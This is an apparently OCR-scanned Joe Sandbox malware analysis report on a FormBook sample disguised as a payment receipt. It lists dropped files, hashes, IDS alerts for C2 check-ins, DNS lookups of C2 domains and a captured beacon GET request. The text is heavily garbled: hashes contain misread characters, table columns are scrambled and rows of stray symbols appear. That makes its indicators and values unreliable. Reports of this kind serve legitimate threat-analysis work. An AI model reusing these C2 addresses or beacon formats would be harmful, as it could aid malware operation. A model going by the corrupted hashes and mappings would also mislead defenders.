https://view.joesandbox.com/analysis/400914/html/none?idtype=webid
https://view.joesandbox.com/analysis/400702/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400702/html/none?idtype=webid
https://view.joesandbox.com/analysis/400504/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400504/html/none?idtype=webid
https://view.joesandbox.com/analysis/400455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400455/html/none?idtype=webid
https://view.joesandbox.com/analysis/400422/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400422/html/none?idtype=webid
https://view.joesandbox.com/analysis/400415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400415/html/none?idtype=webid
https://view.joesandbox.com/analysis/400386/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400386/html/none?idtype=webid
https://view.joesandbox.com/analysis/400350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400350/html/none?idtype=webid
https://view.joesandbox.com/analysis/400297/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400297/html/none?idtype=webid
https://view.joesandbox.com/analysis/400295/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400295/html/none?idtype=webid
https://view.joesandbox.com/analysis/400080/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400080/html/none?idtype=webid
https://view.joesandbox.com/analysis/400015/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400015/html/none?idtype=webid
https://view.joesandbox.com/analysis/399891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399891/html/none?idtype=webid
https://view.joesandbox.com/analysis/399797/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399797/html/none?idtype=webid
https://view.joesandbox.com/analysis/399501/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399501/html/none?idtype=webid
https://view.joesandbox.com/analysis/399469/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399469/html/none?idtype=webid
https://view.joesandbox.com/analysis/399467/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399467/html/none?idtype=webid
https://view.joesandbox.com/analysis/399438/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399438/html/none?idtype=webid
https://view.joesandbox.com/analysis/399431/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399431/html/none?idtype=webid
https://view.joesandbox.com/analysis/400914/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400914/html/none?idtype=webid
https://view.joesandbox.com/analysis/400584/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400584/html/none?idtype=webid
https://view.joesandbox.com/analysis/400504/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400504/html/none?idtype=webid
https://view.joesandbox.com/analysis/400422/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400422/html/none?idtype=webid
https://view.joesandbox.com/analysis/400394/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400394/html/none?idtype=webid

Match

ASN

Match
NAMECHEAP-NETUS

AUTOMATTICUS

Copyright Joe Security LLC 2021

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

> >
" n
] 7]
<] <]
Q, Q,
2 2
@ @
-3 -3
1] [
o o
3 3
j= -
® ®
2 2
o o
3 3
® ®
c c
A a
[l [

Detection
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
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malicious
malicious
malicious

malicious

malicious

malicious
malicious
malicious
malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
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Link
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Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse
Browse
Browse
Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Context

23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74

23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74

Context

104.219.248.99
198.54.117.215
192.64.119.254
63.250.40.204
198.54.126.156
185.61.153.108
63.250.40.204
63.250.40.204
198.54.114.114
198.54.117.215
63.250.40.204
63.250.40.204

192.64.119.74
63.250.40.204
63.250.40.204
63.250.40.204
198.54.114.114
198.54.117.212
198.187.31.161
63.250.40.204
192.0.78.24
74.114.154.18

74.114.154.22

74.114.154.18
192.0.78.24
192.0.78.250
192.0.78.25
74.114.154.18

192.0.78.25
192.0.78.25
74.114.154.22

74.114.154.22

74.114.154.22

192.0.78.24
192.0.78.24
192.0.78.25
192.0.78.24
87.250.173.253
74.114.154.22
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https://view.joesandbox.com/analysis/400375/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400375/html/none?idtype=webid
https://view.joesandbox.com/analysis/400078/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400078/html/none?idtype=webid
https://view.joesandbox.com/analysis/400045/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400045/html/none?idtype=webid
https://view.joesandbox.com/analysis/400025/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400025/html/none?idtype=webid
https://view.joesandbox.com/analysis/399892/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399892/html/none?idtype=webid
https://view.joesandbox.com/analysis/399553/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399553/html/none?idtype=webid
https://view.joesandbox.com/analysis/399275/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399275/html/none?idtype=webid
https://view.joesandbox.com/analysis/398963/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398963/html/none?idtype=webid
https://view.joesandbox.com/analysis/398313/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398313/html/none?idtype=webid
https://view.joesandbox.com/analysis/398273/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398273/html/none?idtype=webid
https://view.joesandbox.com/analysis/397987/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397987/html/none?idtype=webid
https://view.joesandbox.com/analysis/397859/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397859/html/none?idtype=webid
https://view.joesandbox.com/analysis/397837/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397837/html/none?idtype=webid
https://view.joesandbox.com/analysis/397729/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397729/html/none?idtype=webid
https://view.joesandbox.com/analysis/397715/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397715/html/none?idtype=webid
https://view.joesandbox.com/analysis/401165/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401165/html/none?idtype=webid
https://view.joesandbox.com/analysis/401105/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401105/html/none?idtype=webid
https://view.joesandbox.com/analysis/401084/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401084/html/none?idtype=webid
https://view.joesandbox.com/analysis/401075/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401075/html/none?idtype=webid
https://view.joesandbox.com/analysis/401051/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401051/html/none?idtype=webid
https://view.joesandbox.com/analysis/401020/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401020/html/none?idtype=webid
https://view.joesandbox.com/analysis/400985/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400985/html/none?idtype=webid
https://view.joesandbox.com/analysis/400975/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400975/html/none?idtype=webid
https://view.joesandbox.com/analysis/400916/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400916/html/none?idtype=webid
https://view.joesandbox.com/analysis/400914/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400914/html/none?idtype=webid
https://view.joesandbox.com/analysis/400886/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400886/html/none?idtype=webid
https://view.joesandbox.com/analysis/400885/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400885/html/none?idtype=webid
https://view.joesandbox.com/analysis/400856/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400856/html/none?idtype=webid
https://view.joesandbox.com/analysis/400806/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400806/html/none?idtype=webid
https://view.joesandbox.com/analysis/400799/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400799/html/none?idtype=webid
https://view.joesandbox.com/analysis/400791/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400791/html/none?idtype=webid
https://view.joesandbox.com/analysis/400721/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400721/html/none?idtype=webid
https://view.joesandbox.com/analysis/400702/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400702/html/none?idtype=webid
https://view.joesandbox.com/analysis/400692/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400692/html/none?idtype=webid
https://view.joesandbox.com/analysis/400666/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400666/html/none?idtype=webid
https://view.joesandbox.com/analysis/400914/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400914/html/none?idtype=webid
https://view.joesandbox.com/analysis/400778/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400778/html/none?idtype=webid
https://view.joesandbox.com/analysis/400776/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400776/html/none?idtype=webid
https://view.joesandbox.com/analysis/400770/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400770/html/none?idtype=webid
https://view.joesandbox.com/analysis/400551/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400551/html/none?idtype=webid
https://view.joesandbox.com/analysis/400509/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400509/html/none?idtype=webid
https://view.joesandbox.com/analysis/400281/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400281/html/none?idtype=webid
https://view.joesandbox.com/analysis/400279/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400279/html/none?idtype=webid
https://view.joesandbox.com/analysis/399891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399891/html/none?idtype=webid
https://view.joesandbox.com/analysis/399694/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399694/html/none?idtype=webid
https://view.joesandbox.com/analysis/399686/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399686/html/none?idtype=webid
https://view.joesandbox.com/analysis/399504/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399504/html/none?idtype=webid
https://view.joesandbox.com/analysis/399499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399499/html/none?idtype=webid
https://view.joesandbox.com/analysis/399149/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399149/html/none?idtype=webid
https://view.joesandbox.com/analysis/398066/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398066/html/none?idtype=webid
https://view.joesandbox.com/analysis/397436/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397436/html/none?idtype=webid
https://view.joesandbox.com/analysis/397269/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397269/html/none?idtype=webid
https://view.joesandbox.com/analysis/396438/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396438/html/none?idtype=webid
https://view.joesandbox.com/analysis/396412/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396412/html/none?idtype=webid

Match

Associated Sample Name / URL SHA 256 Detection Link Context

JA3 Fingerprints

No context

Dropped Files

No context

Created |/ dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\Betalingskvittering.exe

data

dropped

215215

7.992329094749247

true

3072:eA5GQGC4njU2psXYtX3gPJIWjNsG+t4bglVvIvbBywA6jptYemgsfiz/BKIMS5E: TGQGC4nXpsXe3gQjVJIvIvbBy6vtmgmCz
C5A456DA3811B77C89383F30A05D56FA

FE6C5EDC9EEDF65268B6F4EODBEDDC68DE167026
OADF70BEEE33A271CEFOF2EO0F1A1B64F3219BB5464EE837E13FA95470BD351C
27E1ED54D2F889F4F7075351DF49B1C9307F3879A8924BED7C47B91361D318242E0E62CB022FF6DD94C805FC83AC1796F856FDCCOAA956D1824509DEB531FD7

false

low

Qe 1O R($AUSZ. . ML.P..BY%.[...;...zd*....P...w...g].C.BQ.a... X.r.X(h.)..t2......1.#poHL............. SO 4;$..p2.3%.>...."N.Cye...F.+.;....X.H..51rIW.c,.........
V.QN....E.lbHcc...>.r]...1.U.._+.FZ.Qp.#A.p2p.%........V....M.....G..Vp.h(.$-uSZ..MLW..BY%.[...;...z.*,b.6.<...|c.h."...(.h.0S...F(/.R%.1[...Ca.P...CX............. ?2=..0@.. .
LH.T......z_....?.0.7..L....._HcInl..3.c.....B..vb,.Y....IbHcC..f%.r.7..wU.... +#FZ..p.0#..p2p.,..0....... |.m...P....VpOh(.$auSz...ML.p..BY%.[...;...z.*.,b.6.<...|c.h."...(.h.OS....
F(/.R%.1[...Ca.P...CX..c0oeouu 2= 0@, L LY. T.....z_....2.0......._[.He.nl. g.C,......B..vb,....E.lbHcC. .f%.r.7..WU....+#FZ..p.O#..p2p.,............ |..m...P.....VpOh(.$auSz..
.ML.p..BY%.[...;...z.*.,b.6.<...]c.h."...(h.OS...F(/.R%.1[...Ca.P...CX............. ?=..0@.....L{.T.....z_....2.0......._/.Hc.nl..g.c,......B..vb,....E.lbHcc..f%.r.7..

C:\Usersl\user\AppData\Local\Temp\nspE572.tmp\nkcyodylqw.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\Betalingskvittering.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

20992

6.655068942176116

false
384:Uw008030rkAkGZWeEghEPVBNyzFhDYjrUYDo7NubnRTHX25uCcxtJsIvb:Fdz3orwGZWpPlkjnoJCB25atJsy
5F44E4E9F9FE113FOD1AB278DC89EADS

B7C72FDC24D4D131D387784E8D88D1ADEDADDCDB
OEE64FC9C60DAG14EA871B861A9527EEBIB77FA765A87748DE28B62766033A90
AFB85AD0OFF22059132EF4AGEEF96B17F7A452DF32565F73156935604AB559608748BD856B3129B6973C5DEDB1BC85582942D9E2587B80F2A667281011C1D65D7

false

low

PA.H...C..

.rdata.R...@.. @..@.data...d....P.

Static File Info

General
File type:

Entropy (8bit):

PE32 executable (GUI) Intel 80386, for MS Windows,
Nullsoft Installer self-extracting archive

7.45883386860137
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https://view.joesandbox.com/analysis/396352/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396352/html/none?idtype=webid

General

TriD: e Win32 Executable (generic) a (10002005/4)
99.96%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%
File name: Betalingskvittering.exe
File size: 334436
MDS5: f904170ad5767db6b6066400972cc99
SHAL: ae326e46c0a7649659faca436ddefc232f3f18d7
SHA256: ee4b441c93ac2eb13f0cc02b060836e8538fa08bc434cf8
b87552f820dc8563e
SHA512: eadc3aal0abd94c4aelf9bcc3e0780faad6d8065b7c2f19f
804e37dealefc2332d55a9d24ee01a258192751ff31a8ee
be02edf463c8c588c5db1db33e727646¢8
SSDEEP: 6144:VBIL/KE286EZdSbHptGXIwQhtgaDvepziyGiKR1Y

0f0/R2:D6E2864SqBQhtgHpaiuY0c/Y

File Content Preview:

is program cannot be run in DOS mode....$........0(..QF..
QF..QF.*\...QF..QG.qQF *\...QF..v..QF..W@..QF.Rich.

QF........ PE.L.eiV.iiiin. N O p...@
File Icon
Icon Hash: cceceecd2c0d0fg34
Static PE Info
General
Entrypoint: 0x4030fb
Entrypoint Section: text
Digitally signed: false
Imagebase: 0x400000
Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,

LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics: TERMINAL_SERVER_AWARE
Time Stamp:
TLS Callbacks:

CLR (.Net) Version:

Ox56FF3A65 [Sat Apr 2 03:20:05 2016 UTC]

OS Version Major:
OS Version Minor:
File Version Major:
File Version Minor:

Subsystem Version Major:

o » o » O &

Subsystem Version Minor:

Import Hash: b76363e9ch88hf9390860da8e50999d2
Entrypoint Preview

Rich Headers

Data Directories

Sections

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 Ox5aeb 0x5c00 False 0.665123980978 data 6.42230569414 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

.rdata 0x7000 0x1196 0x1200 False 0.458984375 data 5.20291736659 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

.data 0x9000 0x1b038 0x600 False 0.432291666667 data 4.0475118296 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

.ndata 0x25000 0x8000 0x0 False 0 empty 0.0 IMAGE_SCN_MEM_WRITE,

IMAGE_SCN_CNT_UNINITIALIZED_
DATA, IMAGE_SCN_MEM_READ
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Name Virtual Address

.rsrc 0x2d000

Resources

Imports

Possible Origin

Virtual Size Raw Size Xored PE

0x14a90 0x14c00 False

Language of compilation system

English

Network Behavior

Snort IDS Alerts

Timestamp

10/27/21-
17:50:36.225481

10/27/21-
17:50:47.258802

10/27/21-
17:50:47.258802

10/27/21-
17:50:47.258802

10/27/21-
17:50:47.373639

10/27/21-
17:51:02.783266

10/27/21-
17:51:02.783266

10/27/21-
17:51:02.783266

10/27/21-
17:51:18.402850

10/27/21-
17:51:29.023748

10/27/21-
17:51:34.243394

10/27/21-
17:51:34.243394

10/27/21-
17:51:34.243394

Protocol SID

TCP 1201
TCP 2031453
TCP 2031449
TCP 2031412
TCP 1201
TCP 2031453
TCP 2031449
TCP 2031412
TCP 1201
TCP 1201
TCP 2031453
TCP 2031449
TCP 2031412

Network Port Distribution

TCP Packets

UDP Packets

ZLIB Complexity
0.15813253012

File Type Entropy

data 4.80548061536

Country where language is spoken

United States

Message

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

DNS Queries

Timestamp Source IP Dest IP
Oct 27, 2021 17:50:36.000176907 CEST 192.168.2.6 8.8.8.8
Oct 27, 2021 17:50:41.238684893 CEST 192.168.2.6 8.8.8.8

Copyright Joe Security LLC 2021

Trans ID

Oxfc7c

Ox6a6c

OP Code

Standard query
©
Standard query
@

Source

Port

80

49796

49796

49796

80

49802

49802

49802

80

80

49836

49836

49836

Name
www.bobazz
ing.com
Www.improv

filmproduc
tion.com

Characteristics

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Map

Dest
Port Source IP

Dest IP

49762 34.102.136.180 192.168.2.6

80 192.168.2.6
80 192.168.2.6
80 192.168.2.6

35.186.238.101

35.186.238.101

35.186.238.101

49796  35.186.238.101 192.168.2.6

80 192.168.2.6
80 192.168.2.6
80 192.168.2.6

49833  23.227.38.74

192.0.78.25

192.0.78.25

192.0.78.25

192.168.2.6

49835 34.102.136.180 192.168.2.6

80 192.168.2.6

80 192.168.2.6

80 192.168.2.6
Type

A (IP address)

A (IP address)

198.54.117.217

198.54.117.217

198.54.117.217

Class

IN (0x0001)

IN (0x0001)
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Timestamp

Oct 27, 2021 17:50:47.205265045 CEST

Oct 27, 2021 17:50:52.420171976 CEST

Oct 27, 2021 17:50:57.472321033 CEST

Oct 27, 2021 17:51:02.743771076 CEST

Oct 27, 2021 17:51:07.832869053 CEST

Oct 27, 2021 17:51:12.921547890 CEST

Oct 27, 2021 17:51:18.308892012 CEST

Oct 27, 2021 17:51:23.449269056 CEST

Oct 27, 2021 17:51:28.868838072 CEST

Oct 27, 2021 17:51:34.040726900 CEST

Oct 27, 2021 17:51:44.740894079 CEST

DNS Answers

Timestamp Source IP

Oct 27, 2021 8.8.8.8
17:50:36.021222115
CEST

Oct 27, 2021 8.8.8.8
17:50:36.021222115
CEST

Oct 27, 2021 8.8.8.8
17:50:41.348360062
CEST

Oct 27, 2021 8.8.8.8
17:50:41.348360062
CEST

Oct 27, 2021 8.8.8.8
17:50:47.240438938
CEST

Oct 27, 2021 8.8.8.8
17:50:52.457309961
CEST

Oct 27, 2021 8.8.8.8
17:50:57.676028967
CEST

Oct 27, 2021 8.8.8.8
17:51:02.764975071
CEST

Oct 27, 2021 8.8.8.8
17:51:02.764975071
CEST

Oct 27, 2021 8.8.8.8
17:51:02.764975071
CEST

Oct 27, 2021 8.8.8.8
17:51:07.855567932
CEST

Oct 27, 2021 8.8.8.8
17:51:07.855567932
CEST

Oct 27, 2021 8.8.8.8
17:51:12.946542025
CEST

Oct 27, 2021 8.8.8.8
17:51:12.946542025
CEST

Oct 27, 2021 8.8.8.8
17:51:18.341314077
CEST

Oct 27, 2021 8.8.8.8
17:51:18.341314077
CEST
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Dest IP
192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

Source IP

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

Trans ID

Oxfc7c

Oxfc7c

Ox6a6c

Ox6a6c

Oxfd5e

0x68d0

Ox3cfa

0x783e

0x783e

0x783e

0x88ad

0x88ad

0xf537

0xf537

Oxeab8

Oxeab8

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Server failure

@

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID OP Code

Oxfd5e Standard query
0
0x68d0 Standard query
(0
0x3cfa Standard query
0
0x783e Standard query
(0
0x88ad Standard query
(0
0xf537 Standard query
(0)
Oxeab8 Standard query
(0
Oxfe2f Standard query
(0
0x9ce2 Standard query
(0)
0x941c Standard query
@
0x6f8 Standard query
(0)
Name CName
www.bobazz bobazzing.com
ing.com

bobazzing.com

Name

www.olympi
aapartment.com

www.chimic
hael.com

WWww.tucows
.website

www.malati
rada.com

www.finans
resultation.com

WWW.rxgmar
ket.com

WWW.joysto
reworld.com

www.bbyynl
0.xyz

www.inkedb
readcompan
y.com

www.insula
rrofioa.xyz

www.redeye
ops.com

Address

34.102.136.180

www.improv improvfilmproduction.com

filmproduc
tion.com
improvfilm
production.com

www.olympi
aapartment.com

www.chimic none

hael.com

WWW.tucows none

.website

www.malati malatirada.com
rada.com

malatirada.com

malatirada.com

www.finans
resultation.com

www.finans
resultation.com

WWW.rxgmar
ket.com

WWW.rxgmar
ket.com

WWW.joysto joy-store-
reworld.com world.myshopify.com

joy-store- shops.myshopify.com
world.mysh
opify.com

50.87.176.30

35.186.238.101

none

none

192.0.78.25

192.0.78.24

104.21.40.182

172.67.137.87

104.21.45.211

172.67.219.47

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID

Oct 27, 2021 8.8.8.8 192.168.2.6 Oxeab8
17:51:18.341314077
CEST

Oct 27, 2021 8.8.8.8 192.168.2.6 Oxfe2f
17:51:23.471781969
CEST

Oct 27, 2021 8.8.8.8 192.168.2.6 Oxfe2f
17:51:23.471781969
CEST

Oct 27, 2021 8.8.8.8 192.168.2.6 0x9ce2
17:51:28.887815952
CEST

Oct 27, 2021 8.8.8.8 192.168.2.6 0x9ce2
17:51:28.887815952
CEST

Oct 27, 2021 8.8.8.8 192.168.2.6 0x941c
17:51:34.064815044
CEST

Oct 27, 2021 8.8.8.8 192.168.2.6 0x941c
17:51:34.064815044
CEST

Oct 27, 2021 8.8.8.8 192.168.2.6 0x941c
17:51:34.064815044
CEST

Oct 27, 2021 8.8.8.8 192.168.2.6 0x941c
17:51:34.064815044
CEST

Oct 27, 2021 8.8.8.8 192.168.2.6 0x941c
17:51:34.064815044
CEST

Oct 27, 2021 8.8.8.8 192.168.2.6 0x941c
17:51:34.064815044
CEST

Oct 27, 2021 8.8.8.8 192.168.2.6 0x941c
17:51:34.064815044
CEST

Oct 27, 2021 8.8.8.8 192.168.2.6 0x941c
17:51:34.064815044
CEST

Oct 27, 2021 8.8.8.8 192.168.2.6 0x6f8
17:51:44.793246984
CEST

HTTP Request Dependency Graph

e www.bobazzing.com

e www.improvfilmproduction.com

e www.olympiaapartment.com

e www.malatirada.com

* www.finansresultation.com

e www.rxgmarket.com

* www.joystoreworld.com

o www.bbyyn10.xyz

e www.inkedbreadcompany.com

e www.insularrofioa.xyz

HTTP Packets

Copyright Joe Security LLC 2021

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Name

shops.mysh
opify.com

www.bbyyn1
0.xyz

bbyyn10.xyz

www.inkedb
readcompan
y.com

inkedbread
company.com

www.insula
rrofioa.xyz

parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com

www.redeye
ops.com

CName

bbyyn10.xyz

inkedbreadcompany.com

parkingpage.namecheap.

com

none

Address
23.227.38.74

142.4.98.67

34.102.136.180

198.54.117.217

198.54.117.210

198.54.117.215

198.54.117.218

198.54.117.216

198.54.117.211

198.54.117.212

none

Type
A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Session ID Source IP
0 192.168.2.6
kBytes
Timestamp transferred
Oct 27, 2021 1429
17:50:36.047425985 CEST
Oct 27, 2021 1436
17:50:36.225481033 CEST
Session ID Source IP
1 192.168.2.6
kBytes
Timestamp transferred
Oct 27, 2021 2045
17:50:42.019907951 CEST
Oct 27, 2021 2046

17:50:42.196352959 CEST

Session ID Source IP
2 192.168.2.6

kBytes
Timestamp transferred
Oct 27, 2021 4624

17:50:47.258801937 CEST

Copyright Joe Security LLC 2021

Source Port

49762

Direction

ouT

Source Port

49790

Direction

ouT

Source Port
49796

Direction
ouT

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /b0us/?7nB=048X&ER-tHjR=UBAh+VKzDimgRzzQd0O0Z1/Gg430aZbQvrcwMwqglyQU/IFkYI0b3JKuxklDajXN
dZJrP2FICqlQ== HTTP/1.1

Host: www.bobazzing.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 27 Oct 2021 15:50:36 GMT

Content-Type: text/html

Content-Length: 275

ETag: "61774856-113"

Via: 1.1 google

